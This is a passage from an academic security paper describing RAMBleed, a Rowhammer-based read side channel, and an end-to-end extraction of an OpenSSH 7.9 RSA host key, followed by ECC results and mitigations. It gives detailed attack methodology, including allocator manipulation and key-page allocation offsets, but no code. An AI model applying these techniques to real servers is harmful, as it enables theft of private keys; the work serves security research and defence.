Recovering Physical Addressing Bits. Next, for doublesided hammering, we need to locate addresses in three consecutive rows within the same bank. As some of the physical
address bits of the 2 MiB block are used for determining the
banks of individual 4 KiB pages, we must somehow obtain
these addressing bits for every 4 KiB page in our block.
Since 2 MiB= 221 bytes, and our 2 MiB block is physically
sequential, obtaining the low 21 bits of the physical addresses
amounts to finding the block’s offset from being 2 MiB aligned
(where the low 21 bits are 0). In older Linux kernels, an
attacker could use the pagemap interface to translate virtual
addresses to physical addresses. However, in the current Linux
kernel, the interface requires root privileges due to security
concerns [55]. Instead of using the pagemap interface, we
exploit the row-buffer timing channel of Pessl et al. [49] to
recover the block offset.
Computing Offsets. To find a block’s offset from a 2 MiB
aligned address, we take advantage of the fact that our 2 MiB
block is physically contiguous and that the set of distances
between co-banked addresses uniquely defines the block’s
offset. Figure 4 illustrates this concept. The blue block is a
2 MiB aligned block originally found in the fragmented order
10 block, while the red, 2 MiB unaligned block is the region
we have obtained from our attack on the allocator. The colored
vertical stripes are 4 KiB pages, where two pages of the same
color indicate that they reside in the same bank.
The distances di , i ∈ {0, 1, 2, . . . , n} are the differences
between the addresses of the i-th page in our block and the
very next address located in the same bank. Together, the set
{d0 , d1 , d2 , . . . , dn } forms a distance pattern for our block.
There are 512 possible offsets for a 4 KiB page within a 2 MiB
block; simulations of DRAM addressing confirm that these
patterns uniquely identify the block’s offset.
Recovering Distance Patterns. We can now use Pessl et
al.’s [49] row-buffer timing side channel to find the distances
{d0 , · · · , dn } between pages located in the same bank. Once
we have uncovered enough of the distance pattern to uniquely
identify a single offset, we have succeeded in computing the
offset of our 2 MiB block. This typically occurs after finding
fewer than ten distances.
We compute a distance di by alternating read accesses
between pi and pj for j ∈ {i+1, i+2, . . . , i+2n−2, i+2n−1},
where pi is the page at the i-th offset within the block, and
1 The

more naive strategy of first exhausting all smaller blocks and then
using one larger request in the hope that it is served from a single large
block tends not to work in practice. Any block of order 0 released during the
exhaustion phase will be recycled before splitting the large block and will
result in a non-consecutive allocation.

2MiB
Aligned
Block

2MiB
Unaligned
Block

Offset
d1

d2

d0

Fig. 4: The blue block is the 2 MiB aligned block that was
originally found in the fragmented order 10 block, while the
red, 2 MiB unaligned block is the block we have obtained from
our attack on the allocator. We compute the offset by finding
the distances between co-banked pages di , i ∈ {0, 1, 2, .., n},
which uniquely identify the offset.

n is the number of pages with the same row index. We then
time how long it takes to access both addresses, and average
the results over 8,000 trials; the page that corresponds to the
greatest read time is identified as residing in the same bank as
pi . The distance di is then equal to the difference in the page
offset between the two.
The reason we search over the next two rows of any bank
(i.e., 512 KiB), and not just the next, is that the nature of
the DRAM addressing scheme means that the two co-banked
pages in consecutive rows can potentially lie anywhere within
the memory range with the same row index. When we compute
the distances, we make use of Schwarz’s [54] optimizations
for confusing the memory controller to obtain accurate timing
measurements. We empirically find over many trials that this
method works with a 100% success rate.
Recovering Bit 21. So far, we have uncovered bits 0–20
of the physical address. As Pessl et al. [49] show, however,
DRAM addressing on our system depends on bits 0–21. The
naive solution is to simply adjust our attack on the memory
allocator to obtain a physically contiguous 4 MiB block. This
solution, however, is infeasible as the buddy allocator does not
track 8 MiB blocks, and thus cannot split an 8 MiB block into
two contiguous 4 MiB blocks. Another solution is to simply
guess the value of bit 21, doubling the attack’s running time.
We can, however, overcome this through an insight into the
DRAM addressing scheme. On our system (a Haswell machine
with two DIMMs on a single channel) there are three bank
addressing bits used to select between the eight banks within
a single rank. As specified by [49], bit 21 is only used for
computing the third bank addressing bit by XORing bits 17
and 21 of the physical address. Thus, to find two physical
addresses a0 , a1 located in the same bank in consecutive 8 KiB
rows, we need to ensure that
a017 ⊕ a021 = a117 ⊕ a121
where aij is the j-th least significant bit in the i-th physical
addresses (a0 , a1 ). Then, given a physical address a0 in the
2 MiB block, when we want to find another physical address
a1 in the same bank, but located in the row above. First we set
a1 to be a0 plus the size until the next row index. Then, we

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 8

 adjust a117 to preserve the above equation. Even though we do
not know a021 nor a121 , we can examine bits 0 till 20 in a0 to
see if the addition of the size of row index done for computing
a1 had resulted in a carry for bit 21. If so, we compensate by
flipping a117 in order to preserve the above equation.
B. Memory Templating
After obtaining blocks of contiguous memory, we proceed
to search them for bits that can be flipped via Rowhammer.
We refer to this as the templating phase, which is performed
as follows. We first use our technique to obtain 2 MiB blocks
of physically contiguous memory. Then, we locate addresses
that belong to the same bank using the method described
above. Next, we perform double-sided hammering with both
1-0-1 and 0-1-0 striped configurations. Finally, we record the
locations of these flips for later use with RAMBleed.
C. Placing Secrets Near Flippable Bits
After templating memory, we exploit the determinism of the
Linux physical memory allocator to place the victim’s page in
the desired physical locations as outlined in Figure 3. While a
similar task was achieved in [61] on Android’s ION allocator
by exhausting most of the available memory to control the
placement of the victim, we achieve the same result on Linux’s
buddy allocator without memory exhaustion. Following the
convention of [61][51][58], we call this technique “Frame
Feng Shui”, as we are coercing the allocator into placing select
pages into a frame of our choosing.
Exploiting Linux’s Buddy Allocator. The buddy allocator
stores blocks of equal order in a first-in-last-out (FILO) stacklike data structure, and upon receipt of a request of order n,
the allocator returns the most recently freed block from the
n-th order’s bucket. Thus, if we assume that the victim, after
being triggered, allocates a predictable number of pages before
allocating the secret-containing page, we can force Linux’s
memory allocator to place the victim’s secret containing page
in a page frame of our choice by the following:
• Step 1: Dummy Allocations.
The attacker allocates n
4 KiB pages by calling mmap with the MAP POPULATE
flag, where n is the number of pages that the victim will
allocate before allocating its secret containing page.
• Step 2: Deallocation.
The attacker inspects her own
address space and chooses the target page frame for the
victim’s secret to land on (one that neighbors the flippable
bits). Next, the attacker calls munmap and deallocates
the selected frame. The attacker then immediately unmaps
all the pages mapped during Step 1. After doing so, the
allocator’s stack-like data structure for the 0th order blocks
will have the n pages on top, followed by the target page.
• Step 3: Triggering the Victim.
After Steps 1 and
2, the attacker immediately triggers the victim process,
letting it perform its memory allocations. In Section VII,
we accomplish this by initiating an SSH connection, which
is served by the SSH daemon. After being triggered, the
victim allocates n pages, which then land in the frames
vacated by the pages mapped in Step 1. Finally, the victim

allocates its secret-containing page, which then lands in the
desired frame, as it will be located on top of the allocator’s
stack-like data structure for 0th order blocks at this point.
D. Putting It All Together
With the above techniques in place, we can now describe
our end-to-end attack. which consists of two phases.
Offline. The attack starts by allocating 2 MiB blocks and
dividing them into physically consecutive pages as described
in Section V-A. The attacker then templates her blocks and
locates Rowhammer induced bit flips using the methodology
described in Section V-B. Notice that this phase is done offline,
entirely within the attacker’s address space, and without any
interaction with the victim. Finally, after the attacker obtains
enough Rowhammer induced bit flips to read the victim’s
secret, the attacker begins the online phase described below.
Online. In this step, the attacker uses Frame Feng Shui to get
the victim to place his secret in the physical memory locations
desired by the attacker (e.g., using the layout in Figure 3).
The attacker then performs the RAMBleed attack described in
Section IV-C to exploit the data-dependency with the victim’s
bits, and subsequently deduces some of their values. Finally,
the attacker repeats the online phase step until a sufficient
number of secret bits where leaked from the victim (e.g.,
around 66% percent of the victim’s RSA secret key, which
is sufficient to mathematically recover of the remaining bits).
VI. E XPERIMENTAL E VALUATION
To measure RAMBleed’s capacity as a read side channel,
we measure the rate and accuracy of RAMBleed’s ability
to extract bits across process boundaries and address spaces
under ideal conditions and predictable victim behavior.
Next, after evaluating both double-sided and single-sided
RAMBleed, in Section VII we evaluate RAMBleed against
an OpenSSH 7.9 server (which is a popular SSH server),
extracting the server’s secret RSA signing keys.
The Victim Process. In the proof-of-concept victim code,
the victim waits for an incoming TCP connection, and then
copies the secret key into a freshly allocated page (using an
anonymous mmap) upon each TCP connection request. This
behavior is akin to a server that runs a decryption routine every
time the attacker makes a request, thereby using its secret key.
The Attacker Process. The attacking process uses the techniques described in Section V-A to obtain 2 MiB physically
consecutive blocks, and subsequently templates memory for
flippable cells using the methods outlined in Section V-B.
Finally, the attacker uses Frame Feng Shui to place the secretcontaining page above and below a flippable bit (for singlesided, we only place it above). Concretely, we accomplish this
by unmapping the target location and then initiating a TCP
connection with the victim. Since n = 0 in this case, meaning
that the secret is the first allocation upon context switching,
the secret-containing page should land in the recently vacated
frame. The attacker then hammers the surrounding rows and
leaks the secret bits by reading out the flips from its own page.
We run both processes as taskset with the same CPU affinity.

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 9

 Type
Double-sided
Single-sided

Overall
90%
74%

Read Accuracy Percents
False Positive
False Negative
5%
15%
19%
29%

TABLE I: “false positive” events, where a uniform configuration still flips are more rare than “false negative” events, in
which a striped configuration refuses to flip.

Hardware.
We use an HP Prodesk 600 desktop running
Ubuntu 18.04, featuring an i5-4570 CPU and two Axiom
DDR3 4 GiB 1333 MHz non-ECC DIMMs, model number
51264Y3D3N13811, in a single-channel configuration.
Experimental Results. While [13] report that bit flips are
deterministic with regards to the surrounding bits (i.e. a bit
flips if and only if it is in a striped configuration), on our
systems we observe the more general case where the bit flips
are probabilistic. Next, the probability of a bit flip highly
depends on the type of configuration (striped or uniform). This
uncertainty adds noise to our read-channel, which we handle
with a variant of the Heninger-Shacham technique [24].
Memory Templating. The time required to template memory
and find the needed flips is entirely dependent upon how easily
the underlying DIMMs yield bit flips. While [37] and [21]
report finding thousands of flips within minutes, we found
flips at a more modest rate of 41 flips per minute.
Reading Secret Bits.
After templating the memory with
a striped 0-1-0 pattern, our experimental code can read out
the victim’s secret at a rate of 3–4 bits/second. As we can
see from the results in Table I, this works with 90% accuracy
overall, and 95% accuracy when it comes to identifying 1-bits.
This is because “false positive” events, that is, when a 1-11 uniform configuration still results in the center bit flipping
from one to zero, are much rarer than “false negative” events,
in which a 0-1-0 stripe refuses to flip. We can then template
with the opposite stripe pattern (1-0-1) and achieve a 95%
accuracy rate on the zero-valued bits.
VII. ATTACKING O PEN SSH
To demonstrate the practical risk that RAMBleed poses to
memory confidentiality, in this section we present an end-toend attack against OpenSSH 7.9 that allows an unprivileged
attacker to extract the server’s 2048-bit RSA private signing
key. This key is what allows an SSH server to authenticate
itself to incoming connections. As such, a break of this key
enables the attacker to masquerade as the server, thereby
allowing her to conduct man-in-the-middle (MITM) attacks
and decrypt all traffic from the compromised sessions.
At a high level, our attack operates by coercing the server’s
SSH daemon to repeatedly allocate and place its private key
material at vulnerable physical locations. We then use doublesided RAMBleed to recover a portion of the bits that make
up the server’s RSA key. Finally, we utilize the mathematical
redundancy in RSA keys to correct for errors in extracted
bits, as well as recover missing bits that we were unable to
read directly. Before describing our attacks, we now describe

how OpenSSH manages and uses its keys in response to
incoming SSH requests, and how we adapted the techniques
from Section V to specifically target OpenSSH.
A. Overview of OpenSSH
The OpenSSH daemon is a root-level process that binds to
port 22 and has access to a root-accessible file, which stores
the server’s RSA private key. As shown in Figure 5, when a
TCP connection arrives on port 22, the daemon spawns a child
process that handles the authentication phase of incoming SSH
connections. The child is responsible for both authenticating
the server to the client as well as authenticating the client
to the server. While the latter can be done either via publicprivate key pair, or by supplying a password, the former is
done by having the server use its RSA private key to sign a
challenge issued by the client. Finally, once authentication is
complete, the child process spawns an unprivileged grandchild
for handling the user’s connection. See Figure 5.
Key Memory Management.
The child process that is
spawned by the SSH demon for mutually authenticating an
incoming SSH request must first read in the server’s private
key from the key file into a temporary buffer. At this point,
the key will actually be located in memory in two places:
namely, the temporary buffer and the OS’ page cache. Unfortunately, we cannot read either of these memory locations
via RAMBleed. For the former, this buffer gets overwritten
immediately, before we have any chance to read even a single
bit using RAMBleed. The latter copy is also inaccessible as it
is stored inside the OS’ page cache, which is located in a static
region of physical memory that is not moved around. Luckily,
OpenSSH’s authentication process then proceeds to copy the
keys into a new buffer maintained by a global structure,
aptly named “sensitive data”. This buffer remains in physical
memory for the duration of the connection. Thus, our attack
aims to read the private key material from this structure.
We now proceed to describe our attack on OpenSSH.
B. Attack Overview
Our first step is to profile memory, looking for flippable
bits. We do this in the same manner described in Section V-B.
After finding a sufficient number of flips, we begin the reading
phase, in which we perform RAMBleed to leak a single bit at
a time. At a high level, for each templated bit, we use Frame
Feng Shui to place private key material in the configuration
shown in Figure 3, where A1 is the page containing the
flippable bit. We then perform double-sided RAMBleed to leak
the bit’s value and proceed to the next bit.
C. Overcoming OpenSSH’s Memory Allocation Pattern
To use Frame Feng Shui against OpenSSH, we must
determine the value n, which is the number of pages we
must unmap after vacating the target frame in order to cause
OpenSSH to place the secret in the targeted frame location.
Examining the behavior of OpenSSH 7.9 on our system, we
found that its allocations pattern is predictable, which allows
us to use Frame Feng Shui with a high success rate. More

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 10

 RSA Signing Key

TCP Connection

SSH Daemon
Attacker

Secret (S)

SSH Daemon

Attacker
Row Activation Page (A0)

Target Page (T0)

Row Activation Page (A0)

Vacated

Unused (R)

Sampling Page (A1)

Unused (R)

Sampling Page (A1)

Row Activation Page (A2)

Target Page (T1)

Row Activation Page (A2)

Target Page (T1)

8KiB

8KiB

(a) The attacker initially owns both target pages T0 and T1.

(b) The attacker makes an SSH connection and performs Frame Feng
Shui to land the secret S in the target page T0, which lies above the
sampling page (A1).

RSA Signing Key

TCP Connection

Secret (S)

SSH Daemon

Attacker

SSH Daemon
Attacker

Row Activation Page (A0)

Secret (S)

Row Activation Page (A0)

Secret (S)

Unused (R)

Sampling Page (A1)

Unused (R)

Sampling Page (A1)

Row Activation Page (A2)

Vacated

Row Activation Page (A2)

Secret (S)

8KiB

8KiB

(c) The attacker repeats the Frame Feng Shui process to land S in
the target page T1, below the sampling page (A1).

(d) After achieving the double-sided RAMBleed position, the attacker
now hammers the activation pages (A0 and A2) to induce flips in the
sampling page (A1).

Fig. 5: Overview of our attack on OpenSSH

specifically, we found that OpenSSH uses the default RSA
key size of 2048 bits, with the following allocation pattern.
• First, the page containing d, the RSA private exponent, is
allocated 101 pages after the daemon accepts a new TCP
connection. See Section II-D for RSA notation.
• Next, a single page containing both p and q is allocated 102
pages after the daemon accepts a new connection.
• Finally, a single page that contains both dp and dq is
allocated 104 pages after accepting a new connection.
Furthermore, all the private key values mentioned above are located at the same offset within their page upon every incoming
connection. Thus, we fix n = 100, 101, and 104 respectively
for d, p and q, and dp , dq . Next, to obtain the configuration in
Figure 3, we call munmap on the page above A1 and follow
it with n munmaps on random pages. We then immediately
make a TCP connection, causing the SSH daemon to make n
allocations, followed by allocating the secret-containing page,
which will then be placed in the target frame. By holding the
TCP connection open, we can repeat the process to place the
page in the frame below A1, thereby creating two copies of
the secret in memory to facilitate double-sided RAMBleed.
Accounting for Allocation Noise. The memory placement
technique described above is much more susceptible to noise,
as many CPU cycles pass between the point of the original
unmapping by the attacker and when the victim maps the
key-containing page. Thus, if any pages are allocated or
deallocated in that time frame by another process, the keycontaining pages will not be placed in the desired locations.
To minimize this noise, the attacker yields the scheduler before

performing the page deallocaitons, allowing other scheduled
system activity to execute. Next, we also use a busy loop after
unmapping the pages and before reading the bits, waiting a
fixed amount of time for OpenSSH to perform the required
allocations. We note here that if we replace the busy loop
with a sleep operation, this will likely cause the system to
schedule another process and destroy the memory layout. After
using RAMBleed to read the bit(s), we close the connections,
triggering the daemon to kill the two children.
After mitigating noise in this manner, the memory placement process succeeds against OpenSSH with 83% probability.
This means that we will be in the double-sided-RAMBleed situation 0.832 = 68.89% of the time, in single-sided RAMBleed
2 · 0.83 · 0.17 = 28.22% of the time, and 0.172 = 2.39% of
the time we will be unable to place the target page near the
flipping row, resulting in random guessing. This, along with
potential for RAMBleed to misread bits, gives us an overall
accuracy of 82% when reading the OpenSSH host key.
Key Recovery. To recover the key from the noisy bits, we
use a variant of Paterson et al. [46]’s algorithm, an adaptation
of the Heninger-Shacham algorithm [24] for the case that key
bits are only known with some probability. Specifically, the
algorithm aims to reconstruct the key, bit by bit, starting from
the least significant bit. By relating the public (N, e) and
private (d, p, q, dp , and dq ) key components, the algorithm
prunes potential keys and dramatically reduces the search
space. The algorithm explores a search tree of potential keys
while pruning branches that contradict known bits or have a
large number of mismatches with probabilistically recovered

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 11

 Type
Double-sided RAMBleed
Single-sided RAMBleed
Unable to place victim

Probability
68.89%
28.22%
2.39%

TABLE II: Probability of OpenSSH placing pages containing
private key material into double-sided, single-sided, or unableto-place situations.

bits. Our approach is similar to Paterson et al. [46], but instead
uses a depth-first search in place of a bread-first search.
Through a series of simulations on random RSA 2048
bit keys, we empirically found that our amended HeningerShacham algorithm requires 68% recovery of the private key
material (d, p, q, dp , dq ) with an 82% accuracy. This implies
that 4200 distinct bits of private key material is sufficient to
extract the complete key.
D. Overall Attack Performance
Memory Templating. We begin our attack by locating the
flippable bits in the memory of the target machine. Using the
techniques presented in Sections IV and V, we profiled the
machine’s memory to locate Rowhammer induced bit flips. We
note here that the time required to template memory and find
the required flips is entirely dependent upon the susceptibility
of underlying DIMMs to Rowhammer attacks. While [21, 37]
report finding thousands of flips within minutes, we found
flips at a more modest rate of 41 flips per minute, giving us a
running time of 34 hours to locate the 84K bit flips required
for the next phase of the attack.2
We note here that this phase can be performed ahead of time
and with user level permissions, without the need to interact
with the victim application or its secrets.
Removing Useless Bits. Next, we note that not all of these
bitflips are useful for key extraction. First, given OpenSSH
memory layout and the location of the key elements in their
3
6144
= 16
fraction of the bits
respective pages, only a 32768
(corresponding to offsets of d, p, q, dp and dq ) are useful for
key recovery. Out of the 84K bit flips recovered in the previous
phase, this leaves approximately 15750 bits flips which have
the potential to reveal bits of the secret key. Next, we note
that these bit flips also contain repetitions in their locations in
the page, meaning that two or more bit flips might actually
correspond to the same bit of the secret key. After removing
such duplicates, we are left with 4.2K bit flips in distinct
locations that are useful for key extraction.
Reading Private Key Material.
After placing the key
containing pages in the desired locations to achieve one of the
RAMBleed configurations, we then proceed to hammer A0 and
A2 (See Figure 3). We have no way of determining if we are in
the double-sided, single-sided, or unable-to-place RAMBleed
situation, but given the probabilities in Section VII-C, it is
likely that the bit flip in A1 will depend upon the secret bit
values. Overall, this process resulted in recovering 68% of the
2 We empirically found that 84K bit flips was approximately the threshold
for locating 4200 usable, unique, flippable bits.

private key, or 4200 key bits, at a rate of 0.31 bits/second at
an accuracy rate of 82% against OpenSSH. We conjecture that
the deceased accuracy is due to the combined noise from both
the inaccuracy of RAMBleed and Frame Feng Shui.
Key Recovery. As mentioned above, we recover 68% of the
key bits with 82% accuracy. Using our amended HeningerShacham algorithm, we recover the entire RSA private key in
about 3 minutes on a consumer laptop (Dell XPS 15 featuring
an Intel i7-6700 3.4 GHz CPU and 32 GiB of RAM).
VIII. RAMB LEED ON ECC M EMORY
In this section we show how to use RAMBleed to read
secret information stored on DIMMs that use ECC memory.
Unlike Section IV, which shows how RAMBleed can exploit
visible bit flips to read secret information, here we show how
an attacker can exploit bit flips that were successfully corrected
by ECC to read information from the victim’s address space.
We begin by providing background on ECC memory.
A. ECC Memory Background
Memory manufacturers originally designed ECC memory
for correcting rare, spontaneous bit flips, such as those caused
by cosmic rays. As such, ECC memory uses error correcting
codes that can only correct a small number of bits in a single
code word, typically only one or two. This is commonly known
as SECDED (Single error correction double error detection).
Correction Mechanism.
When an ECC enabled system
writes data to DRAM, the memory controller writes both the
data bits and an additional string of bits, called the check bits.
These bits offer the redundancy that enables detection and
correction of errors. Together, the data and check bits make up
a codeword, where the typical sizes for data and check bits are
64 and 8 bits, respectively. Upon serving of a read request from
DRAM, the memory controller reads both the data and check
bits, and checks for errors. If an uncorrectable error is detected,
the controller typically crashes the machine, rather than letting
the software operate on corrupted data. Alternately, if the error
can be corrected, the memory controller first corrects the error,
and only then passes the corrected value to the software. We
note that ECC correction and detection occurs only during
read requests, and that a bit flip will go undetected until a
codeword is read from the DIMM.
Detecting Bit Flips. As Cojocar et al. [13] describe, this
synchronous error correction results in a timing side channel
that allows an attacker to determine if a single-bit error has
occurred. They found that the overhead incurred by correctable
bit flips is on the order of hundreds of thousands of cycles,
which the attacker can easily measure.
Concretely, we can detect the presence of a bit flip in
any given word by measuring the read latency from the
word. When we read from a word with a single-bit error, the
hardware must first complete the ECC algorithm, and often log
the error in the firmware log, before the value from the read is
returned. If we observe a much longer read latency, it indicates
that a bit flip occurred sometime after the last time that the
same 64 bit word was read from. This effect is illustrated in

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 12

 64-Bit Word Index Within Page

Fig. 6: Read latencies for the 64-bit words in a single
page. When ECC corrects an error, the latency is 5 orders
of magnitude greater than the common case. This can be seen
by the peak for the 186th word, which indicates a bit flip.
Figure 6; after performing double-sided hammering on the two
aggressor rows, we read from the victim row and observe a
crisp peak for the 186th word, clearly indicating a bit flip.
B. RAMBleed on ECC Memory
We now show how we can leverage the ability to detect the
presence of corrected bit flips to read information from the
victim’s address space. To the best of our knowledge, this is
the first demonstration of security implications of corrected bit
flips.
Experimental Setup.
Following the Intel-1 setup of
Cojocar et al. [13], we demonstrate the RAMBleed attack on
ECC memory on a Supermicro X10SLL-F motherboard (BIOS
version 3.0a) equipped with an Intel Xeon E3-1270 v3 CPU
and a using a pair of Kingston 8GB 1333 MHz ECC DIMMs,
model number KVR1333D3E9SK2.
Templating. As with the non-ECC attack, we begin by first
templating memory to locate bit flips. We do so in much the
same manner of [13], only with an algorithmic improvement
for determining which bit in a row is the flippable bit.
Cojocar et al. [13] locate bit flips by performing double
sided Rowhammer, and then using the timing side channel to
locate a word containing a bit flip. They determine which of
the 64 bits flipped by setting exactly one of the bits to its
charged state, while all the rest are discharged. This results in
the targeted bit being in the middle of a striped configuration,
while all the other bits in the word are part of a uniform
configuration. Next, a long read latency indicates that the
single charged bit flipped. Finally, they repeat the process for
each bit to determine which bits can be flipped.
To speed up the process of templating memory for bit
flips, we replace the single-bit iteration phase with a binary
search over the possible locations for the bit flip. That is,
after locating a word with a bit flip, we set half of the bits
to their charged state, with the other half discharged. We
then hammer the aggressor rows again, and record the read
latency. If it is long, then the bit flip lies in the half with the
charged bits; otherwise, it lies in the other half. We repeatedly
reduce the search space by half in this manner, until we have
pinpointed the location of the bit flip. Overall this speeds up
the templating phase of Cojocar et al. [13] by a factor of 10.
Reading Bits. After profiling memory and recording the precise locations of flippable bits, we use the memory massaging

and Frame Feng Shui techniques described in Section V to
achieve the double-sided RAMBleed configuration. In the nonECC RAMBleed case, we hammered the aggressor rows and
subsequently directly read the victim row for a Rowhammerinduced bit flip, thereby leaking values of secret bits. With
ECC, we cannot observe the flips directly. Instead we use the
timing side channel and look for long read latencies. As such
latencies occur only due to Rowhammer-induced flips, they
can be used to reveal the value of the secret bit as described
in Section IV.
Experimental Results. We can successfully read bits via
RAMBleed against ECC memory with a 73% accuracy at
a reading rate of 0.64 bits/second in our setup. Since ECC
DIMMs are typically built using the same chips as used on
non-ECC DIMMs, but with an additional chip for storing the
check bits, we attribute the drop in accuracy to the fact that
they are simply different sets of DIMMS.
IX. M ITIGATIONS
Unlike previous Rowhammer attacks which compromise
integrity, RAMBleed is an attack which compromises confidentiality. Moreover, to leak information cross process and
cross address space, RAMBleed only requires that the attacker
can read and hammer her own private memory, and does not
involve any access or modification to the target’s data, code,
or address space. As such, RAMBleed can bypass softwarebased integrity checks that might be applied to the target,
such as using message authentication codes (MAC) to protect
the target’s data. Moreover, techniques designed to protect
cryptographic systems against fault attacks (such as Shamir’s
countermeasure [56]) are also ineffective as they again protect
the integrity of the cryptographic computation and not its
confidentiality. Other software defenses, such as Brasser et
al.’s [8] memory partitioning scheme do not mitigate our
attack, as we are not trying to read from kernel memory.
A. Hardware Mitigations
There are, however, a few commonly proposed hardwarebased mitigations that have the potential to mitigate RAMBleed. Kim et al. [34] propose PARA (probabilistc adjacent
row activation), wherein activating a row causes nearby rows
to activate with some probability. Repeated hammering of an
address then increases the likelihood that nearby victim rows
will be refreshed, thereby restoring their cells’ charges and
preventing Rowhammer. PARA has not been widely adopted,
as it can only proide a probabilistic security guarantee.
Targeted Row Refresh (TRR). The more recent LPDDR4
standard supports the ability to refresh a targeted row with
TRR, where after a row is accessed a set number of times,
the nearby rows are automatically refreshed [31]. Despite
this mitigation, [21, 61] already report the ability to induce
Rowhammer bit flips in the presence of TRR.
Increasing Refresh Intervals.
Doubling DRAM refresh
rate by halving the refresh interval from 64ms to 32ms is an
attempt at reducing the number of bit flips by refreshing victim
rows. However, this is impractical on mobile systems due to

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 13

 the increased power demands. Worse yet, Aweke et al. [2] and
Gruss et al. [21] demonstrate bit flips even under this setting.
Using Error Correcting Codes (ECC).
An oft-touted
panacea for Rowhammer is the usage of ECC memory, as
any bit flip will simply be corrected by the hardware without
affecting the software layer. However, as we show in Section VIII, the hardware error correction implementation actually produces sufficient side channel information for mounting
RAMBleed. Thus, while ECC significantly slows RAMBleed,
it does not offer complete protection.
B. Memory Encryption
One defense that does in fact protect against RAMBleed
is memory encryption. This is because RAMBleed reads bits
directly from memory, which are ciphertext bits in the case that
memory is encrypted. Trusted execution environments, such
as Intel’s Software Guard Extensions (SGX), ARM’s Trust
Zone, and AMD’s Secure Encrypted Virtualization (SEV), in
fact fully encrypt the enclave’s memory, thereby protecting
them from RAMBleed. It should be noted, however, that
some enclaves, such as SGX, perform integrity checking on
encypted memory; Jang et al. [28] and Gruss et al. [21] show
that Rowhammer induced flips in enclave memory halt the
entire machine, necessitating a power cycle.
C. Flushing Keys from Memory
For systems that use sensitive data for a short amount of
time (e.g., cryptographic keys), zeroing out the data immediately after use [22] would significantly reduce the risk from
RAMBleed. This is because RAMBleed cannot accurately read
bits of keys that do not remain in memory for at least one
refresh interval (64ms by default). While this countermeasure
is effective for protecting short lived data, it cannot by used
for data that needs to stay in memory for long durations.
D. Probabilistic Memory Allocator
Our Frame Feng Shui technique exploits the deterministic
behavior of the Linux buddy allocator to place the victim’s pages in specific locations. Consequently, introducing
a sufficient amount of non-determinism into the allocation
algorithm will prevent the attacker from placing secrets into
vulnerable locations. Such a defense would not, however,
necessarily defeat a RAMBleed attacks that use probabilistic
memory spraying techniques similar to [55]. The attacker
could potentially keep many SSH connections open at once,
and then hammer and read from the locations with the correct
RAMBleed configurations. The attacker could use the rowbuffer timing side-channel to detect the correct configurations.

and Falkner’s [65] Flush and Reload technique to determine
when the secret page is about to be allocated.
Another limitation is that our attack against OpenSSH 7.9
required the the daemon to allocate the key multiple times. We
conjecture, however, that it may be possible to read secrets
even when they are never reallocated by the victim. If the
secret lies in the page cache, it is likely possible to use
Gruss et al.’s [21] memory waylaying technique to repeatedly
evict the secret and then bring it back into memory, thereby
changing its physical address. Even if it does not lie in the page
cache, the attacking process can still evict it by exhausting
enough memory to start paging memory to disk. Both of
these strategies would, however, be defeated by using Linux’s
mlock system call to lock secret pages into memory, thereby
preventing them from ever being evicted to disk.
Next, while we demonstrated our attack on a system using
DDR3 DRAM, we do not suspect DDR4 to be a fundamental
limitation, assuming that DDR4 memory retains the property
that Rowhammer-induced bit flips are data-dependent. Our
techniques for recovering physically sequential blocks depend
only on the operating system’s memory allocation algorithm,
and are thus hardware agnostic. With regard to finding pairs of
addresses in different rows of the same bank, [49] have already
demonstrated how to reverse engineer the DRAM addressing
scheme in DDR4 systems. Furthermore, Rowhammer-induced
bit flips in DDR4 have been demonstrated by [1, 21, 37]. We
leave the composition of these results to achieve RAMBleed
on DDR4 memory to future work.
Finally, RAMBleed’s rate of reading memory is modest,
toping at around 3–4 bits per second. This allows sufficient
time for memory scrubbing countermeasures to remove shortlived secret data from the target’s memory. We thus leave the
task of improving RAMBleed’s read rate to future work.
XI. C ONCLUSION
In this paper, we have shifted Rowhammer from being a
threat only to integrity to also being a threat to confidentiality.
We demonstrated the practical severity of RAMBleed by conducting and end-to-end exploit against OpenSSH 7.9, in which
we extracted the complete 2048 bit RSA private signing key.
To do so, we also developed memory massaging methods and
a technique called Frame Feng Shui that allows an attacker to
place the victim’s secret-containing pages in chosen physical
frames. By uncovering another channel for Rowhammer based
exploitation, we have highlighted the need to further explore
and understand the complete capabilities of Rowhammer.
ACKNOWLEDGMENTS
This research was partially supported by a gift from Intel.

X. L IMITATIONS AND F UTURE W ORK
RAMBleed’s primary limitation is that it requires the victim
process to allocate memory for its secret in a predictable
manner in order to reliably read bits of interest. Otherwise,
the Frame Feng Shui process described in Section V-C will
not place the secret page in the intended frame. It may be
possible, however, to bypass this limitation by using Yarom

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 14

 R EFERENCES
[1] M. T. Aga, Z. B. Aweke, and T. Austin, “When good
protections go bad: Exploiting anti-dos measures to accelerate rowhammer attacks,” in 2017 IEEE International
Symposium on Hardware Oriented Security and Trust
(HOST). IEEE, 2017, pp. 8–13.
[2] Z. B. Aweke, S. F. Yitbarek, R. Qiao, R. Das, M. Hicks,
Y. Oren, and T. Austin, “ANVIL: Software-based protection against next-generation Rowhammer attacks,” ACM
SIGPLAN Notices, vol. 51, no. 4, pp. 743–755, 2016.
[3] K. Bains, J. Halbert, C. Mozak, T. Schoenborn, and
Z. Greenfield, “Row hammer refresh command,” US
Patent Application 2014/0006703A1, 2014.
[4] J. Bauer, M. Gruhn, and F. C. Freiling, “Lest we forget:
Cold-boot attacks on scrambled DDR3 memory,” Digital
Investigation, vol. 16, pp. S65–S74, 2016.
[5] D. J. Bernstein, J. Breitner, D. Genkin, L. G. Bruinderink,
N. Heninger, T. Lange, C. van Vredendaal, and Y. Yarom,
“Sliding right into disaster: Left-to-right sliding windows
leak,” in International Conference on Cryptographic
Hardware and Embedded Systems (CHES), 2017, pp.
555–576.
[6] S. Bhattacharya and D. Mukhopadhyay, “Curious case of
Rowhammer: Flipping secret exponent bits using timing
analysis,” in CHES, 2016.
[7] E. Bosman, K. Razavi, H. Bos, and C. Giuffrida, “Dedup
Est Machina: Memory deduplication as an advanced
